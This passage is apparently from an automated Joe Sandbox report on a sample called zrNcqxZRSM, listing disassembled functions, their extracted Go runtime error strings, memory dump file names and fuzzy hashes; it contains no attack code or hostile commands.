Instruction Fuzzy Hash: 47C1B236209B8486DB24CF62E48436A77B1F389B90F198136EE9E63765DF3CC541CB11

Function 00C666C0 Relevance: 5.2, Strings: 4, Instructions: 221COMMON

Download Yara Rule

Strings

bad restart PC-thread limitstopm spinning nmidlelocked= needspinning=randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=unsafe.Pointer on zero, xrefs: 00C66973
reflect., xrefs: 00C668AC
runtime., xrefs: 00C66852
runtime/internal/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=unknown caller pcstack: frame={sp:runtime: nameOff runtime: typeOff runtime: textOff GTB Standard TimeFLE Standard TimeGMT Standard Timeunknown type kindreflect: call of refle, xrefs: 00C66885

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: bad restart PC-thread limitstopm spinning nmidlelocked= needspinning=randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=unsafe.Pointer on zero$reflect.$runtime.$runtime/internal/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=unknown caller pcstack: frame={sp:runtime: nameOff runtime: typeOff runtime: textOff GTB Standard TimeFLE Standard TimeGMT Standard Timeunknown type kindreflect: call of refle
API String ID: 0-219260244
Opcode ID: 210bd0895b7c1fa6ac59af7f0265a8f7d77ba76cf1bb7ccf6a45ae7080e7c9e0
Instruction ID: cffe0859ccd4e3fa3cff9b2584cedea9d73c0b365256348c0ae079d45bf18d87
Opcode Fuzzy Hash: 210bd0895b7c1fa6ac59af7f0265a8f7d77ba76cf1bb7ccf6a45ae7080e7c9e0
Instruction Fuzzy Hash: 9671BD32B04A4086DB348B25E0D036AA7A1F789B94F4C8535EF9E57B94DF38D995DB00

Function 00C5FE00 Relevance: 5.1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

Strings

runtime: NtAssociateWaitCompletionPacket failed; errno= non-empty pointer map passed for non-pointer-size valuesruntime: checkmarks found unexpected unmarked object obj=tried to trace goroutine with invalid or unsupported statusreflect: reflect.Value.Elem on a, xrefs: 00C5FFA6
runtime: SetWaitableTimer failed; errno= stopTheWorld: not stopped (stopwait != 0)can't call pointer on a non-pointer ValueMapIter.Next called on exhausted iterator173472347597680709441192448139190673828125867361737988403547205962240695953369140625persistental, xrefs: 00C60009
runtime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall", miss, xrefs: 00C5FFCF, 00C6002F, 00C60079
runtime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS threadcompileCallback: argument size is larger than uintptrmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not , xrefs: 00C6004F

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: runtime: NtAssociateWaitCompletionPacket failed; errno= non-empty pointer map passed for non-pointer-size valuesruntime: checkmarks found unexpected unmarked object obj=tried to trace goroutine with invalid or unsupported statusreflect: reflect.Value.Elem on a$runtime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS threadcompileCallback: argument size is larger than uintptrmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not $runtime: SetWaitableTimer failed; errno= stopTheWorld: not stopped (stopwait != 0)can't call pointer on a non-pointer ValueMapIter.Next called on exhausted iterator173472347597680709441192448139190673828125867361737988403547205962240695953369140625persistental$runtime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall", miss
API String ID: 0-2978396809
Opcode ID: 665cf20fb77acbcbaafa3def7ce142b389e4b17885fe63e2b2f3e0f6a3d7b1bc
Instruction ID: 26c8a147e5d956cb197497801e8b122bdba90d98f6d278a743b66adfe753b52e
Opcode Fuzzy Hash: 665cf20fb77acbcbaafa3def7ce142b389e4b17885fe63e2b2f3e0f6a3d7b1bc
Instruction Fuzzy Hash: 45515E36218F84C2DB10DB61F48535ABB64F789BD4F149626EE9C43BAADF38C181DB50

Function 00C3B840 Relevance: 5.1, Strings: 4, Instructions: 80COMMON

Download Yara Rule

Strings

runtime: lfstack.push invalid packing: node=out of memory allocating heap arena metadata/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark p, xrefs: 00C3B8C5
packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes avx512bwavx512vlThursdaySaturdayFebruaryNovemberDecember%!Month(nil Poolnetedns0wsaioctlgo/typesnet/httpgo/b, xrefs: 00C3B905
cnt=gcing MB, got= ... max=scav ptr ] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtos, xrefs: 00C3B8E5
-> node= ms cpu, (forced) wbuf1.n= wbuf2.n= s.limit= s.state= B work ( B exp.) marked unmarked in use), size = bad prune, tail = recover: not in [ctxt != 0, oldval=, newval= threads=: status= blocked= lockedg=atomicor8 runtime= m->curg=(unknown)tracebac, xrefs: 00C3B925

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: -> node= ms cpu, (forced) wbuf1.n= wbuf2.n= s.limit= s.state= B work ( B exp.) marked unmarked in use), size = bad prune, tail = recover: not in [ctxt != 0, oldval=, newval= threads=: status= blocked= lockedg=atomicor8 runtime= m->curg=(unknown)tracebac$ cnt=gcing MB, got= ... max=scav ptr ] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtos$ packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes avx512bwavx512vlThursdaySaturdayFebruaryNovemberDecember%!Month(nil Poolnetedns0wsaioctlgo/typesnet/httpgo/b$runtime: lfstack.push invalid packing: node=out of memory allocating heap arena metadata/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark p
API String ID: 0-3171389189
Opcode ID: 76598468fbaf75ad535e863b2812cc7951bf1983be45551a8ddc09f3d14d04ac
Instruction ID: 362534cccb0e1e5efb9f9400ff3cd3022a6f981dd9d01bf1798aee064e8c59ce
Opcode Fuzzy Hash: 76598468fbaf75ad535e863b2812cc7951bf1983be45551a8ddc09f3d14d04ac
Instruction Fuzzy Hash: B0219E32229B44C6DB10EF50E8853A9BB68F789BC4F488931EF9D43766CF38C5019B50

Function 00C76160 Relevance: 2.9, Strings: 2, Instructions: 423COMMON

Download Yara Rule

Strings

runtime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=not enough significant bits after mult128bitPow10invalid or incomplete multibyte or wide characterslice bounds out o, xrefs: 00C764D5
runtime: malformed profBuf buffer - tag and data out of syncreflect: call of reflect.Value.Len on ptr to non-array ValueabiRegArgsType needs GC Prog, update methodValueCallFrameObjsfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop, xrefs: 00C76505

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: runtime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=not enough significant bits after mult128bitPow10invalid or incomplete multibyte or wide characterslice bounds out o$runtime: malformed profBuf buffer - tag and data out of syncreflect: call of reflect.Value.Len on ptr to non-array ValueabiRegArgsType needs GC Prog, update methodValueCallFrameObjsfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop
API String ID: 0-1369891241
Opcode ID: 0e09e35517d7bd7174e364dea13f8d9e372c0a083d0d7ce71d341762d9c72505
Instruction ID: 45874ddb61689e85c481be92bdd1a13a021b08aff5225dd580bcc698275f9b47
Opcode Fuzzy Hash: 0e09e35517d7bd7174e364dea13f8d9e372c0a083d0d7ce71d341762d9c72505
Instruction Fuzzy Hash: 6FD10F72705A5482CE14DF67A40172AAB61F389FC8F9AD425EE1EAB715DF78CE42D300

Function 000001A2671DAD18 Relevance: 1.8, APIs: 1, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

_initp_misc_winsig.LIBCMT ref: 000001A2671DAD4C

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _initp_misc_winsig
String ID:
API String ID: 2710132595-0
Opcode ID: 09ce91dd04304840cde923820173512f804657346b14a89083c5470523b7fb1a
Instruction ID: a1e2b18c0f6705f9e9addde674a6344832443467096695823dc5c0c83a5ddb29
Opcode Fuzzy Hash: 09ce91dd04304840cde923820173512f804657346b14a89083c5470523b7fb1a
Instruction Fuzzy Hash: 9DA1B731619A098FFF54FFB9E8989AA37A2E3A9301710893A900AC3174EF7CD545DF51

Function 000001A266DDA15F Relevance: 1.8, APIs: 1, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

_initp_misc_winsig.LIBCMT ref: 000001A266DDA193

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _initp_misc_winsig
String ID:
API String ID: 2710132595-0
Opcode ID: 09ce91dd04304840cde923820173512f804657346b14a89083c5470523b7fb1a
Instruction ID: d7fc4df729784823beb0b2d0cac5add9d7122a0b9cac9c70c2c12f72558b57ae
Opcode Fuzzy Hash: 09ce91dd04304840cde923820173512f804657346b14a89083c5470523b7fb1a
Instruction Fuzzy Hash: CFA1D831619A098FEF54FFB5E8989AA37E2E3A9301B10893A900AC3174DF7CD545DF91

Function 00C99760 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

", xrefs: 00C99EEC

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 19fb7ce0091dced0ce9203034eafb3ec4517270b52be9e83824b10aba490bede
Instruction ID: 197d6e0d59f685de1f48ad9e50082ba2c52ea1c9653f3ee4e286330e58e9912d
Opcode Fuzzy Hash: 19fb7ce0091dced0ce9203034eafb3ec4517270b52be9e83824b10aba490bede
Instruction Fuzzy Hash: E232D272208BC081DB20CF65E4883EEB761F785B94F45822ADBAD57BA9DF38C585D740

Function 00C97340 Relevance: 1.7, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

!"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC, xrefs: 00C9744D, 00C97556, 00C97697, 00C977BF

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: !"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
API String ID: 0-2911004680
Opcode ID: 53a1b3ea04372e7b7dab19c5501e632b7b7fde9ce6ef0f0f109c873852a4eb9c
Instruction ID: 7d2cb7141f41e7418d23024d24adee5e3c628f3365682e37ecddbbf063b3fa44
Opcode Fuzzy Hash: 53a1b3ea04372e7b7dab19c5501e632b7b7fde9ce6ef0f0f109c873852a4eb9c
Instruction Fuzzy Hash: 0BF1233232AA84C2DE00DB65E8083A9B756F784BD0F894226EE5F53795CF78C951E704

Function 00C5BCE0 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: , xrefs: 00C5C085

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus:
API String ID: 0-1312986596
Opcode ID: 63247db6de52727403d913fb6ee7891a2407c14dc7cbf2491fc8f16b18fb4de3
Instruction ID: 2850c7e79d9ad955629e6600f670a87f91114f747c8bf3b350a51b90d98b81cb
Opcode Fuzzy Hash: 63247db6de52727403d913fb6ee7891a2407c14dc7cbf2491fc8f16b18fb4de3
Instruction Fuzzy Hash: 6AA17D7A608B84C6CA20CF52F44026ABB75F799BC0F485522EF8D57B29CF38C995CB44

Function 00C40620 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

bulkBarrierPreWrite: unaligned argumentsruntime: typeBitsBulkBarrier with type refill of span with free space remaining/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unkn, xrefs: 00C409C7

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: bulkBarrierPreWrite: unaligned argumentsruntime: typeBitsBulkBarrier with type refill of span with free space remaining/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unkn
API String ID: 0-2740983204
Opcode ID: 7ad7adb5c7e12953b94b82ac49d8e1af76708e23037214da84614c381bd7953e
Instruction ID: 09bf2993ae4f3523edaa135bde4a943d5945fda8922a87ee760b68c35a6581d9
Opcode Fuzzy Hash: 7ad7adb5c7e12953b94b82ac49d8e1af76708e23037214da84614c381bd7953e
Instruction Fuzzy Hash: A391B0B7749B94C2DB508B66E44039AA765F399FC0F288126EF8D57B19DB38C4A58B00

Function 00C5AE40 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

bad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod, xrefs: 00C5B107

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: bad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod
API String ID: 0-2099802129
Opcode ID: 6ab29e21998f00e0669a9381c345dcb89bd33803b33b49d8c8216b8f178415d7
Instruction ID: 9957e44cfe35f764040d184b18d92838a164accc7b81dad6713ed4f2336ec539
Opcode Fuzzy Hash: 6ab29e21998f00e0669a9381c345dcb89bd33803b33b49d8c8216b8f178415d7
Instruction Fuzzy Hash: FC61D1B7714B8882DB009B56E44039A7765F78ABD0F449226EFAE13799CF7CC989C344

Function 00C46E65 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

gcing MB, got= ... max=scav ptr ] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket, xrefs: 00C46E74

Memory Dump Source

